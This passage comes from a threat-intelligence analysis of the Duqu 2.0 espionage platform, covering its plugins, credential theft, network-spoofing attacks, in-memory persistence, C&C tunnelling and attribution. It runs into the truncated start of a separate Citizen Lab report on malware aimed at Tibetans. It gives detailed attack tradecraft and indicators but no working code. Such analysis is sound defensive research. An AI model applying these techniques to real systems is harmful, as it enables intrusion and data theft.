is identical to payload K described above but it doesn t block execution when a new thread is started. So far, the new code runs asynchronously. After the payload container is opened and code migrated to another process, which can be elevated and protected from security software, the real malicious code is activated. In most cases, it is simple named pipe based backdoor that listens for incoming communications from the orchestrator. In rare cases, on selected machines, it can be heavy orchestrator module that communicates with command and control server, works as a bidirectional proxy and comes with a large bundle of secondary plugins. PLATFORM PLUGGINABLE MODULES In addition to the basic remote backdoor, the attackers deploy more sophisticated packages to domain controllers and to the victims of interest inside the LAN. These MSI packages can contain tens of different modules designed for various cyberespionage functions. The fully featured packages are much larger than the basic remote backdoor 18MB vs 500KB. They follow the same structure, with ActionDll and the loader mechanism, except they contain a lot more plugins to load and run. During our analysis, we identified more than 100 variants of such plugins. A description of these plugins follows. To separate them, we used a virtual identifier based on the first two bytes of their MD5 sum. 03B7 The main module of Duqu 2.0, orchestrator. Implements multiple protocol handlers for C&C communication, can start an intermediate C&C proxy server with a self-signed HTTPS certificate. Starts the plugin framework, loads and manages all additional plugins. It works via HTTP, HTTPS, SMB network pipes or direct TCP connection using a custom, encrypted protocol. Interaction via HTTP is concealed in JPEG or GIF files, similar to the 2011 version of Duqu. Request names, URLs and User-Agent strings may vary between attacks. Additional known variants: 3026, 4F11. 0682 Collects basic system information: List of running processes Active desktop and terminal sessions For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details Collected information is then transmitted to a named pipe provided by the caller. Additional known variants: C0B7 073C Implements a complete Windows socket-based transport, both client and server side. Provides a class factory for the class that encapsulates various networking functions. 0872 MSI CustomAction library that is activated when the malicious installer package is started by the Windows Installer. Loads the encrypted binary blob that contains actual malicious payload, decrypts and then executes it in memory. The names in version information vary: svcmsi_32.dll, msi3_32.dll, MSI.dll, msi4_32.dll. Encryption algorithms also vary: Camellia 256, AES, XXTEA. The decryption key is extracted from an MSI parameter, possible names: PROP, HASHVA, CKEY. The encrypted blob is searched by prefixes (can vary): ActionData, CryptHashs, CAData. Both 32-bit and 64-bit versions are known. Additional known variants: 8D7C, 16EF, E6E5, 434C, 44BD, F708. 09A0 64-bit, Exfiltrates file contents, particularly searching for files matching these rules: *.inuse, *.hml filename contains data.hmi or val.dat files from the /Int/HMI/ or /LG/HM/ folders. File and directory names of interest for the 09A0 plugin. Additional known variants: 8858 0AB8 Provides 25 functions for manipulating files and directories: List files in directories Upload and download arbitrary files Read/write file contents For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details In several cases, the modules are looking specifically for directories named \int of\md and files with extensions .part .manual .inuse File and directory names of interest for the 0AB8 plugin. Additional known variants: A69E. 0B97 Network transport. Implements API for connecting sockets and pipes provided by the caller. Additional variant: 56A2. 152B Network and domain discovery. Enumerates all servers in the domain Tries to connect to remote registries and enumerate all users in HKEY_USERS Usernames are then converted to SIDs Enumerates all visible network shares Additional known variants: A987 1C71 In-memory storage. Receives and stores string data in file mappings. 2125 Network infection module. Tries to acquire administrative credentials from the running processes and then connect to a target machine using Windows shares. The machine is infected with a malicious DLL backdoor, the target directory varies and may be in UPDROOT$, ADMIN$ or C$. Uses custom SMB packets to identify the target OS version. The target malicious DLL is then started using a new service created with a name svcmsi_32@ . The module communicates with the target backdoor via Windows pipes. Additional variant: DB65. Instead of the malicious DLL, it uploads a new MSI package and then relies on MSIEXEC.EXE to start the MSI via a newly created service named msisvc_32@ , the target MSI name is generated randomly using a template tmp%x. Example of a Windows event log (System) entry created at the moment of infection. Administrative credentials are acquired by stealing a token from any running process that was started by a logged on user having domain administrator s rights. For that, it first For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details queries for the first 100 administrative usernames in the current domain directly from the domain controller. Remote locations used by the network infection module. 24B7 Remote desktop administration. Acquires the screenshots of the desktop but also can send input to the desktop, move the mouse cursor. Both 32-bit and 64-bit variants exist. Additional known variants: 65BE, 7795, BDC8, DEE2 26D6 Detects running network sniffers (wireshark, tcpview, netstat, dumpcap, perfmon); implements a TCP server and communicates via network pipes. Internal name: P.dll 2829 Collects system information Monitors USB device attachment Collects USB drive history Enumerates network shares, windows captions, system routing tables Reads/writes encrypted files 2913 - WMI data collection Enumerate profiles with SIDs For each profile, extracts information from lnk files in the profile directory Enumerate processes via WMI (CIMV2), including terminated processes Extracts user information from available remote registries Additional known variant: C776 29D4 - Service msisvc_32@; DLL backdoor that is used for network infection by module 2125. Accepts commands via named pipe Global\{B54E3268-DE1E-4c1e-A6672596751403AD} . Both 32-bit and 64-bit variants exists. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details Additional known variants: 6F92, A505, D242 2B46 Extensive collection of system and user information Domain controller s name List of users in the domain Administrators of the domain Enumerates domain trusts TCP tables UDP tables SNMP discovery (OS, parse all replies) USB drive history, mounted devices Installed programs Time zone OS install date ODBC.ini, SQL Server instance info, Oracle ALL_HOMES, SyBase, DB2, MS SQL, MySQL last connections DHCP/routing Network profiles Zero Config parameters Connected printers MRU list for WinRAR, WinZip, Office, IE typed URLs, mapped network drives, Visual Studio MRU Terminal Service Client default username hint User Assist history PuTTY host keys and sessions Logged on users Network adapter configuration VNC clients passwords Scan the network and identify OS using SMB packet Some of the registry locations harvested by the module. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details Additional known variants: A7F8 2BF7 - Utility DLL. Provides basic API for creating new MSI packages, loading and injecting arbitrary PE modules. Also responsible for loading the first level of the VFS inside the malicious MSI files. Both 32-bit and 64-bit versions exist. Known names: ntdll.dll klif.dll apiset.dll Additional known variants: 6DA1, 32DB, 8304, 9931, 9E60, A2D4, ABA9, B3BB, DC5F, DD32, F7BB 3395 MS SQL discovery module. Module can send ARP packets to network and discover MS SQL Server ports. Additional functions are responsible for connecting and reading of remote registry contents. 35E9 File system discovery. Enumerate network shares Enumerate local disks Traverse files system hierarchy and enumerate files; identify reparse points 3F45 Pipe backdoor. Opens a new globally visible named Windows pipe, receives and executes encrypted commands. The magic string that identifies the encrypted protocol tttttttt Enumerates running processes Loads and executes arbitrary PE files Both 32-bit and 64-bit versions exist. Known pipe names: \\.\pipe\{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E} \\.\pipe\{AB6172ED-81054996-9D2A-597B5F827501} \\.\pipe\{0710880F-3A55-4A2D-AA67-1123384FD859} \\.\pipe\{6C51A4DB-E3DE4FEB-86A4-32F7F8E73B99} \\.\pipe\{7F9BCFC0-B36B-45EC-B377-D88597BE5D78}, \\.\pipe\{57D2DE92-CE174A57-BFD7-CD3C6E965C6A} Additional known variants: 6364, 3F8B, 5926, A90A, DDF0, A717, A36F, 8816, E85E, E927 For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details 4160 - Password stealer Extracts Google Chrome and Firefox login data LSA credentials Data used to locate Chrome saved logins. Additional known variants: B656 41E2 Password stealer. 64-bit module. Extracts: IE IntelliForms history POP3/HTTP/IMAP passwords TightVNC, RealVNC, WinVNC3/4 passwords Outlook settings SAM, LSASS cache Windows Live, .Net Passport passwords References to information collected by the module. Additional known variants: 992E, AF68, D49F 482F Collects system information. Enumerates disk drives Gets list of running processes Extensive process information including uptime For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details Memory information SID information Additional known variants: F3F4 559B Active Directory survey. Connects to the Active Directory Global Catalog ( ) using ADSI Enumerates all objects in AD Presents every entry in a human-readable format Active Directory enumeration routine. 580C - Collects system and network information. Retrieves the domain controller name Enumerates all users and groups in the domain Collects Task Scheduler logs Collects disk information, removable device history Retrieves firewall policies Enumerates all named system objects Enumerates all system services For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details 5B78 - Collects system information and utilities. One of the two exported functions has a name GetReport Enumerate running processes, extract tokens and SIDs, collect timing information Logon users using explicit credentials Impersonate users of running processes Build new 32-bit and 64-bit shellcode stubs using a hardcoded template Both 32-bit and 64-bit versions exist. Additional known variants: E8C7, EE6E. 5C66 Encrypted file I/O, utilities File I/O operations: open/seek/read/write Manages compressed and encrypted temporary files For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details 622B - Generate XML report about system using unique schema Computer name Windows directory Enumerates all logical drives Lists all files OS serial number Domain name Network adapter configuration: IP addresses, MAC, MTU, adapter list XML tags used to generate the system report. 6302 - Utilities. Has internal name d3dx9_27.dll . Executes timer-based events. Additional known variants: FA84 669D Utilities. Given a list of file names and directories, checks if they exist. Additional known variants: 880B For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details 6914 - Sniffer-based network attacks. Uses a legitimate WinPcap driver npf.sys . Detects NBNS (NetBIOS protocol) requests of interest and sends its own responses: Responds to WPAD requests ( FHFAEBE in NBNS packets) Sends responses to HTTP GET requests The network filter is based on the BPF library. The payloads for the HTTP and WPAD responses are provided externally. Fake HTTP response and related status messages. 6FAC - File API Get file size, attributes Securely delete a file Open/close/read/write file contents Additional known variants: A7EE 7BDA Collects system information Current state of AV and firewall protection using wscapi.dll API Detect if sqlservr.exe is running Computer name Workgroup info Domain controller name Network adapter configuration Time and time zone information CPU frequency Additional known variants: EF2E For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details 7C23 Extracts metadata from documents and collects system information Computer name System volume serial Complete file API as in 6FAC Searches for documents and archives and implements routines to extract all valuable information from them: E-mail messages: eml, msg Image files: jpg, jpe, jpeg, tif, tiff, bmp, png Multimedia files: wmv, avi, mpeg, mpg, m4a, mp4, mkv, wav, aac, ac3, dv, flac, flv, h264, mov, 3gp, 3g2, mj2, mp3, mpegts, ogg, asf. These are re-encoded with libffmpeg. Contents from PDF documents Microsoft Office: doc, docx, xlsx, pptx. Dedicated routines are called accordingly: OfficeRipDoc OfficeRipDocx OfficeRipXlsx OfficeRipPptx . PPT slides are extracted and converted to a HTML digest of the presentation. Archives: gz, gzip, gzX3, zip, rar Creates temporary files with extension .fg4 Additional known variants: EB18, C091 Part of the list of file extensions of interest and corresponding status messages. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details 8172 - Sniffer-based network attacks. Performs NBNS (NetBIOS protocol) name resolution spoofing for: WPAD requests Names starting with Names starting with 3142 (log only) Status messages related to the attack. Additional feature: the module can build new shellcode blobs from hardcoded templates. 81B7 Driver management Write driver to disk Start/stop driver Safely remove the driver s file from disk Additional known variants: C1B9 For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details 8446 - Oracle DB and ADOdb client. Uses oci.dll API to access Oracle databases Extracts all available information from the database Also connects to ADOdb providers SQL queries and related data. 8912 Encrypted file manipulation and collects system information Shared file mapping communication Write encrypted data to files Enumerate windows Enumerate network shares and local disks Retrieve USB device history Collect network routing table Known mutex and mapping names: Global\{DD0FF599-FA1B-4DED-AC70-C0451F4B98F0} Global\{B12F87CA-1EBA4365-B90C-E2A1D8911CA9}, Global\{B03A79AD-BA3A-4BF1-9A59-A9A1C57A3034} Global\{6D2104E6-73104A65-9EDD-F06E91747790}, Global\{DD0FF599-FA1B-4DED-AC70-C0451F4B98F0} Global\{B12F87CA-1EBA4365-B90C-E2A1D8911CA9} For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details Additional known variants: D19F, D2EE 9224 Run console applications. Creates processes using desktop Default , attaches to its console and redirects its I/O to named pipes. 92DB - Modified cmd.exe shell. Several CMD commands processed by the shell. 9F0D (64-bit), D1A3(32-bit) legitimate signed driver NPF.SYS (WinPcap) distributed inside the VFS along with the plugins. It is used for sniffer-based network attacks. A4B0 Network survey Uses DHCP Server Management API (DHCPSAPI.DLL) to enumerate all DHCP server clients Queries all known DHCP sub-networks Searches for machines that have ports UDP 1434 or 137 open Enumerates all network servers Enumerates network shares Tries to connect to remote registries to enumerate all users in HKEY_USERS, converts them to SIDs B6C1 - WNet API. Provides wrappers for the WnetAddConnection2 and WNetOpenEnum functions. Additional known variants: BC4A For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details C25B Sniffer based network attacks. Implements a fake SMB server to trick other machines to authenticate with NTLM. Implements basic SMB v1 commands SMB commands handled by the module Pretends to have IPC$ and A: shares Accepts user authentication requests Also handles HTTP GET / requests NTLM challenge and SMB server data For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details ED92 File system survey Enumerates all local drives and connected network shares Lists files EF97 Filesystem utilities Enumerate files Create and remove directories Copy/move/delete files and directories Extract version information from files Calculate file hashes Additional known variants: F71E PERSISTENCE MECHANISM The Duqu 2.0 malware platform was designed in a way that survives almost exclusively in memory of the infected systems, without need for persistence. To achieve this, the attackers infect servers with high uptime and then re-infect any machines in the domain that get disinfected by reboots. Surviving exclusively in memory while running kernel level code through exploits is a testimony to the technical prowess of the group. In essence, the attackers were confident enough they can survive within an entire network of compromised computers without relying on any persistence mechanism at all. The reason why there is no persistence with Duqu 2.0 is probably because the attackers wanted to stay under the radar as much as possible. Most modern anti-APT technologies can pinpoint anomalies on the disk, such as rare drivers, unsigned programs or maliciously-acting programs. Additionally, a system where the malware survives reboot can be imaged and then analyzed thoroughly at a later time. With Duqu 2.0, forensic analysis of infected systems is extremely difficult one needs to grab memory snapshots of infected machines and then identify the infection in memory. However, this mechanism has one weakness; in case of a massive power failure, all computers will reboot and the malware will be eradicated. To get around this problem, the attackers have another solution they deploy drivers to a small number of computers, with direct Internet connectivity. These drivers can tunnel traffic from the outside into the network, allowing the attackers to access remote desktop sessions or to connect to servers inside the domain by using previously acquired credentials. Using these credentials, they can re-deploy the entire platform following a massive power loss. COMMAND AND CONTROL MECHANISMS Duqu 2.0 uses a sophisticated and highly flexible command-and-control mechanism that builds on top of the 2011 variant, with new features that appear to have been inspired by other top class malware such as Regin. This includes the usage of network pipes and mailslots, raw filtering of network traffic and masking C&C traffic inside image files. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details Inside a Windows LAN, newly infected clients may not have a C&C hardcoded in their installation MSI packages. Without a C&C, they are in dormant state and can be activated by the attackers over SMB network pipes with a special TCP/IP packet that contains the magic string tttttttttttttttt . If a C&C is included in the configuration part of the MSI file, this can be either a local IP address, which serves as a bouncing point or an external IP address. As a general strategy for infection, the attackers identify servers with high uptime and set them as intermediary C&C points. Hence, an infected machine can jump between several internal servers in the LAN before reaching out to the Internet. To connect the the C&C servers, both 2011 and 2014/2015 versions of Duqu can hide the traffic as encrypted data appended to a harmless image file. The 2011 version used a JPEG file for this; the new version can use either a GIF file or a JPEG file. Here s how these image files look like: Another modification to the 2014/2015 variants is the addition of multiple user agent strings for the HTTP communication. The 2011 used the following user agent string: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729) The new variants will randomly select an user agent string from a table of 53 different possible ones. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details Another unusual C&C mechanism relies on driver files that are used to tunnel the C&C communications and attacker s RDP/SMB activity into the network. The attackers deploy such translation drivers on servers with direct Internet connectivity. Through a knocking mechanism, the attackers can activate the translation mechanism for their IPs and tunnel their traffic directly into the LAN. Outside the LAN, the traffic can be masked over port 443; inside the LAN, it can be either direct SMB/RDP or it can be further translated over fake TCP/IP packets to IP 8.8.8.8. During our investigation, we observed several such drivers. A description can be found below. The portserv.sys driver analysis MD5: 2751e4b50a08eb11a84d03f8eb580a4e Size: 14336 Compiled: Sat Feb 11 21:55:30 2006 (fake timestamp) Internal name: termport.sys Type: Win32 device driver (a 64 bit version is known as well) For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details This is a malicious NDIS filter driver designed to perform manipulation of TCP/IP packets to allow the attacker to access internal servers in the victim s infrastructure. Upon startup, the filter driver hooks into the NDIS stack and starts processing TCP/IP packets. To leverage the driver, the attacker first sends a special TCP/IP packet with the string romanian.antihacker to any of the hardcoded IPs belonging to infected server. In general, such servers are computers with direct Internet connectivity, such as a webserver or a proxy. The driver sees the packet, recognizes the magic string romanian. antihacker and saves the attacker s IP for later use. Magic string used for knocking inside the driver. When a packet comes from the attacker s IP (saved before), the following logic applies: Packet to server 1 s IP on port 443, is redirected on port 445 (Samba/Windows file system) Packet from server 1 s IP from port 445, is redirected to attacker s IP port 443 Packet to server 2 s IP on port 443 is redirected on port 3389 (Remote Desktop) Packet from server 2 s IP from port 3389 is redirected to attacker s IP port 443 This effectively allows the attackers to tunnel SMB (remote file system access) and Remote Desktop into these two servers while making it look like SSL traffic (port 443). These drivers allow the Duqu attackers to easily access servers inside the LAN from remote, including tunneling RDP sessions over Port 443 (normally SSL). It also gives them a persistence mechanism that allows them to return even if all the infected machines with the malware in memory are rebooted. The attackers can simply use existing credentials to log back into any of the servers that the driver is serving and can reinitialize the backdoors from there. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details SIMILARITIES BETWEEN DUQU AND DUQU 2.0 The 2014/2015 Duqu 2.0 is a greatly enhanced version of the 2011 Duqu malware discovered by 7CrySyS Lab. It includes many new ideas from modern malware, such as Regin, but also lateral movement strategies and harvesting capabilities which surpasses commonly seen malware from other APT attacks. Side by side: 2011 Duqu 2014/2015 Duqu 2.0 Number of victims: <50 (estimated) <100 (estimated) Persistence mechanism: Loader: SYS driver MSI file Zero-days used: Main storage: PNF (custom) files MSI files C&C mechanism: HTTP/HTTPS, network pipes HTTP/HTTPS, network pipes Known plugins: >100 There are many similarities in the code that leads us to conclusion that Duqu 2.0 was built on top of the original source code of Duqu. Those interested can read below for a technical description of these similarities. https://www.crysys.hu/publications/files/bencsathPBF11duqu.pdf For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details One of the trademark features unique to the original Duqu was the set of functions that provide logging facilities. Unlike many other APTs, Duqu logs almost every important step of its activity but does it in a special way: there are no readable strings written to the log. Instead, a series of unique numbers identify every state, error, or message in the log. Comparing the functions that generate every log entry in Duqu and Duqu 2.0, we can conclude that they are almost identical: The first generation of Duqu was also written in a very rare and unique manner. It was compiled with Visual Studio and while parts of it were definitely written in C++, the majority of its classes were not natively generated by the C++ compiler. After analyzing all the possible variants, we conclude that these classes were written in OO-C, the objective variant of the C language, and then somehow converted into a compilable C/ C++ source. All these classes had a very specific feature: the virtual function table of every instance was filled by hand in its constructor. Interestingly, this is no longer the case for Duqu 2.0. The authors upgraded their compiler from Visual Studio 2008 (used in 2011) to Visual Studio 2013 and now use classes that look much more like native C++ ones: On the left: the hand-made or compiler-assisted classed of OO-C in Duqu. On the right: the same class in Duqu 2.0 has a native Vtable similar to native C++ one, however the offset of the pointer is not zero. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details The more concrete evidence of similarity can be found if we look for functions that actually use the logging facilities. The authors kept using the same unique numbers for identification of internal states, errors and function results. Networking functions are good candidates for comparison: Implementation of the same networking function in Duqu and Duqu 2.0. Note the same unique numbers (in red rectangles) PUSHed as parameters to the logging function. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details Another networking routine: after calling recv() to receive data from network, Duqu logs the results and possible network errors (obtained via WSAGetLastError()). Unique numbers in red rectangles are used to identify the current state of the networking routine. The code of the orchestrator evolved in many aspects since 2011. One of the notable differences is a huge list of HTTP User-Agent strings that are now used instead of a single hard-coded one: For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details The authors also modified the magic two-byte value that identifies encrypted network traffic: was replaced with a more neutral and harder to trace Code that verifies the magic value in network traffic. The chars are swapped due to little-endianness of data in x86/64 architectures. Both Duqu and Duqu 2.0 use special structures to identify the interfaces of their plugins. The orchestrator also has one for the core plugin that is compiled in its code. The newer version has a slightly bigger table, hence more functions, and a different notation for describing the plugin features. Special strings (i.e. A888A8>@ ) describe each function s signature. The older Duqu had contained similar strings in binary (unreadable) form. Data structure that describes the core plugin of Duqu and two different version of Duqu 2.0. Note the same constants and similar functions. For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details The Duqu C&C code makes use of small image files to hide its communications over unencrypted channels, i.e. HTTP. The original Duqu used a JPEG file, and known versions of Duqu 2.0 use a similar JPEG file as well as a new, larger GIF file. Also, the layout of the data section did not change much: the image data is preceded by short AES encryption keys (string sh123456 in Duqu, two binary DWORDs in Duqu 2.0) followed by the LZO version string 2.03 Image data used for hiding C&C communication in them: JPEG in Duqu, similar JPEG in Duqu 2.0 and GIF in a different version of Duqu 2.0. Note the preceding LZO version string 2.03 and encryption keys. The large number of similarities between the Duqu 2011 code and the new Duqu 2.0 samples indicates that the new code represents a new iteration of the malware platform. The new version could not have been built without access to the 2011 Duqu source code. Hence, we conclude that the authors are the same or working together. VICTIMS OF DUQU 2.0 Victims of Duqu 2.0 were found in several places, including western countries, the Middle East and Asia. The actor appears to compromise both final and utilitarian targets, which allow them to improve their cyber capabilities. Most of the final targets appear to be similar to their 2011 goals which is to spy on Iran s nuclear program. Some of the new 2014-2015 infections are linked to the P5+1 events and venues related to the negotiations with Iran about a nuclear deal. The threat actor behind Duqu appears to have launched attacks at the venues for some of these high level talks. In addition to the P5+1 events, the Duqu 2.0 group has launched a similar attack in relation to the 870th anniversary event of the liberation of Auschwitz-Birkenau. http://70.auschwitz.org/index.php?lang=en For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details The other type of targets for the new attacks are what we call utilitarian targets. These are companies that the attackers compromise to improve their cyber capabilities. For instance, in 2011, the attackers compromised a certificate authority in Hungary; obviously, this would allow them to generate digital certificates, which can be further used to sign malware samples. The same pattern can be seen with the Duqu 2.0 infections. Some of the companies infected with Duqu 2.0 operate in the sector of Industrial Control Systems as well as industrial computers. ATTRIBUTION As usual, attribution of cyberattacks over the Internet is a difficult task. In the case of Duqu, the attackers use multiple proxies and jumping points to mask their connections. This makes tracking an extremely complex problem. Additionally, the attackers have tried to include several false flags throughout the code, designed to send researchers in the wrong direction. For instance, one of the drivers contains the string ugly.gorilla , which obviously refers to 9Wang Dong, a Chinese hacker believed to be associated with the APT1/Comment Crew. The usage of the Camellia cypher in the MSI VFSes, previously seen in APT1-associated Poison Ivy samples is another false flag planted by the attackers to make researchers believe they are dealing with APT1 related malware. The romanian.antihacker string used in the portserv.sys driver is probably designed to mimic w00tw00t.at.blackhats.romanian.anti-sec requests that are often seen in server logs or simply point to an alleged Romanian origin of the attack. The usage of rare compression algorithms can also deceptive. For instance, the LZJB algorithm used in some of the samples is rarely seen in malware samples; it has been used by MiniDuke which we reported in early 2013. Nevertheless, such false flags are relatively easy to spot, especially when the attacker is extremely careful not to make any other mistakes. During our 2011 analysis, we noticed that the logs collected from some of the proxies indicated the attackers appear to work less on Fridays and didn t appear to work at all on Saturdays, with their regular work week starting on Sunday. They also compiled binaries on January 1st, indicating it was probably a normal work day for them. The compilation timestamps in the binaries seemed to suggest a time zone of GMT+2 or GMT+3. Finally, their attacks would normally occur on Wednesdays, which is why we originally called them the Wednesday Gang . While the 2014 attack against Kaspersky Lab also took place on a Wednesday, the gang made huge OPSEC improvements compared to their older 2011 operations, including faking all the timestamps in PE files, removing the debug paths and internal module names for all plugins. The 2014 Duqu 2.0 binaries contain several strings in almost perfect English but one of them has a minor mistake indicating the involvement of non-native speakers. The usage Excceeded instead of Exceeded in the file-harvesting module of Duqu 2.0 is the only language mistake we observed. http://www.fbi.gov/wanted/cyber/wang-dong/view For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details Misspelling of the word Exceeded in Duqu 2.0. Most interesting, one of the victims appear to have been infected both by the Equation Group and by the Duqu group at the same time; this suggests the two entities are different and competing with each other to obtain information from this victim. CONCLUSIONS During the 2011 Duqu attacks, we concluded that its main purpose could have been to spy on Iran s nuclear program. Some of the victims appear to have been utilitary , such as one certificate authority in Hungary, which was compromised by Duqu and ultimately that led to its discovery. The group behind Duqu hacks these utilitary victims in order to gain certain technical abilities such as signing their malware with trusted certificates or to serve as platforms for further attacks. The 2014/2015 Duqu 2.0 appears to be a massive improvement over the older Tilded platform, although the main orchestrator and C&C core remains largely unchanged. Back in 2011 we pointed out to the usage of 10Object Oriented C as an unusual programming technique. The 2014 version maintains the same core, although some new objects in C++ have been added. The compiler used in the 2014 is newer and it results in different code optimizations. Nevertheless, the core remains the same in functionality and it is our belief it could not have been created by anyone without access to the original Duqu source code. Since these have never been made public and considering the main interest appears to have remained the same, we conclude the attackers behind Duqu and Duqu 2.0 are the same. The targeting of Kaspersky Lab represents a huge step for the attackers and an indicator of how quick the cyber-arms race is escalating. Back in 2011 and 2013 respectively, 11RSA and 12Bit9, were hacked by Chinese-language APT groups, however, such incidents were considered rare. In general, an attacker risks a lot targeting a security company because they can get caught and exposed. The exact reason why Kaspersky Lab was targeted is still not clear although the attackers did seem to focus on obtaining information about Kaspersky s future technologies, Secure OS, anti-APT solutions, KSN and APT research. https://securelist.com/blog/research/32354/the-mystery-of-duqu-framework-solved-7/ https://blogs.rsa.com/anatomy-of-an-attack/ https://blog.bit9.com/2013/02/08/bit9-and-our-customers-security/ For any inquiries, please contact intelreports@kaspersky.com THE DUQU 2.0 Technical Details From a threat actor point of view, the decision to target a world-class security company must be quite difficult. On one hand, it almost surely means the attack will be exposed s very unlikely that the attack will go unnoticed. So the targeting of security companies indicates that either they are very confident they won t get caught, or perhaps they don care much if they are discovered and exposed. By targeting Kaspersky Lab, the Duqu attackers have probably taken a huge bet hoping they d remain undiscovered; and lost. For a security company, one of the most difficult things is to admit falling victim to a malware attack. At Kaspersky Lab, we strongly believe in transparency, which is why we are publishing the information herein. For us, the security of our users remains the most important thing and we will continue to work hard to maintain your trust and confidence. REFERENCES Duqu: A Stuxnet-like malware found in the wild https://www.crysys.hu/publications/ files/bencsathPBF11duqu.pdf Duqu: The Precursor to the next Stuxnet http://www.symantec.com/content/en/us/ enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_ next_stuxnet.pdf The Mystery of Duqu: Part One https://securelist.com/blog/incidents/31177/themystery-of-duqu-part-one-5/ 4. The Mystery of Duqu: Part Two https://securelist.com/blog/incidents/31445/themystery-of-duqu-part-two-23/ The Mystery of Duqu: Part Three https://securelist.com/blog/incidents/31486/themystery-of-duqu-part-three-9/ 6. The Mystery of Duqu: Part Five https://securelist.com/blog/incidents/31208/themystery-of-duqu-part-five-6/ The Mystery of Duqu: Part Six (The Command and Control Servers) https://securelist. com/blog/incidents/31863/the-mystery-of-duqu-part-six-the-command-andcontrol-servers-36/ 8. The Mystery of Duqu: Part Ten https://securelist.com/blog/incidents/32668/themystery-of-duqu-part-ten-18/ The Mystery of Duqu Framework Solved https://securelist.com/blog/research/32354/ the-mystery-of-duqu-framework-solved-7/ 10. The Duqu Saga Continues https://securelist.com/blog/incidents/31442/the-duqusaga-continues-enter-mr-b-jason-and-tvs-dexter-22/ 11. CrySyS Blog: Duqu 2.0 http://blog.crysys.hu/2015/06/duqu-2-0/ For any inquiries, please contact intelreports@kaspersky.com Securelist, the ressource for Kaspersky Lab experts technical research, analysis and thoughts Kaspersky Lab B2C Blog Kaspersky Lab security news service Eugene Kaspersky Blog Kaspersky Lab B2B Blog Kaspersky Lab Academy Kaspersky Lab, Moscow, Russia www.kaspersky.com All about Internet security: www.securelist.com Kaspersky Lab HQ Follow us 39A/3 Leningradskoe Shosse Moscow, 125212 Russian Federation More contact details Tel: +7-495-797-8700 Fax: +7-495-7978709 Find a partner near you: www.kaspersky.com/buyoffline Twitter.com/Kaspersky Facebook.com/Kaspersky Youtube.com/Kaspersky 2015 Kaspersky Lab. All rights reserved. Registered trademarks and service marks are the property of their respective owners. Lotus and Domino are trademarks of International Business Machines Corporation, registered in many jurisdictions worldwide. Linuxis the registered trademark of Linus Torvalds in the U.S. and other countries. Google is a registered trademark of Google, Inc. Research Brief March 2015 The Citizen Lab Tibetan Uprising Day Malware Attacks Authors: Katie Kleemola, Masashi Crete-Nishihata and John Scott-Railton SUMMARY Hundreds of members of the Tibetan community are being targeted by email-based malware attacks that leverage the March 10 Tibetan Uprising anniversary as a theme. This report analyzes two March 10 related attacks. One using a new malware family we call MsAttacker that we have not observed before, and another using the ShadowNet malware family and command and control infrastructure related to previous campaigns known to have targeted the Tibetan community. We include user recommendations for preventing infection and indicators of compromise for researchers to identify MsAttacker. BACKGROUND On March 10 1959, amidst growing unrest, Tibetans took to the streets of the capital Lhasa to protest the Chinese occupation of Tibet. Thousands surrounded the Potala Palace, then the home of His Holiness the Dalai Lama (HHDL), spurred by fears that he was to be arrested by the Chinese authorities. Following this event, escalation of tensions between Chinese and Tibetan forces led to HHDL escaping Tibet and taking up exile in northern India. The anniversary of the March 10 Tibetan Uprising is a major event in the Tibetan diaspora, commemorated with a day of protest around the world to raise awareness around Tibetan rights issues. It is a period of intensive activism and mobilization for many Tibetan organizations. In previous research, we described how attackers leverage the heightened activity around the event with social engineering campaigns, seeding targeted malware. For example, we have found personalized e-mails that use references to the anniversary to trick recipients into opening malicious attachments. In this report we analyze two separate email-based targeted malware attacks that use the March 10 anniversary as a theme. March 2015 ATTACK 1: MSATTACKER On March 5 2015, an email with the subject line 10th March 2015 campaign for Tibet was sent to hundreds of individuals and organizations from the Tibetan community. The email purported to come from a wellknown Tibetan NGO and contained information about a series of events planned to commemorate the 56th anniversary of the Tibetan Uprising. Attached to the email was a malicious Microsoft Word file 10th March.doc that used the exploit CVE-20120158, which is a vulnerability in how Microsoft Word handles RTF documents. This vulnerability has been patched since April 10, 2012 but has remained the most frequently used CVE we have observed in malware attacks against Tibetan groups for the last two years. Its repeated usage suggests that attackers are successfully compromising members of the community, because their systems do not have the latest software updates. The exploit was used to deliver a malware family that does not match any available signatures and has not been observed by us in previous attacks against the Tibetan community. The malware first connects to a command and control server (C2) 122.10.117.152 located in Guangzhou, China. The malware then downloads a stage 2 binary: [c2 ip]/download/ms/MiniJs.dll This file is copied to 